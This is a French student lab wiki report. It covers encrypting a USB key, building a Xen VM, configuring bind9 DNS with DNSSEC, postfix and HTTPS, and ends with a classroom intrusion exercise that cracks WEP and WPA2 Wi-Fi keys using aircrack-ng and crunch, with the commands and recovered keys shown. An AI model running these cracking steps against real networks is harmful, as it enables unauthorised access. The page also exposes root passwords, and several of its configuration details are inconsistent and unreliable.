===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54013TP sysres IMA2a5 2020/2021 G52020-11-27T17:07:45Z<p>Aglaine : /* Installation des systèmes d’exploitation */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
L'architecture du réseau est la suivante : <br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG]]<br />
<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
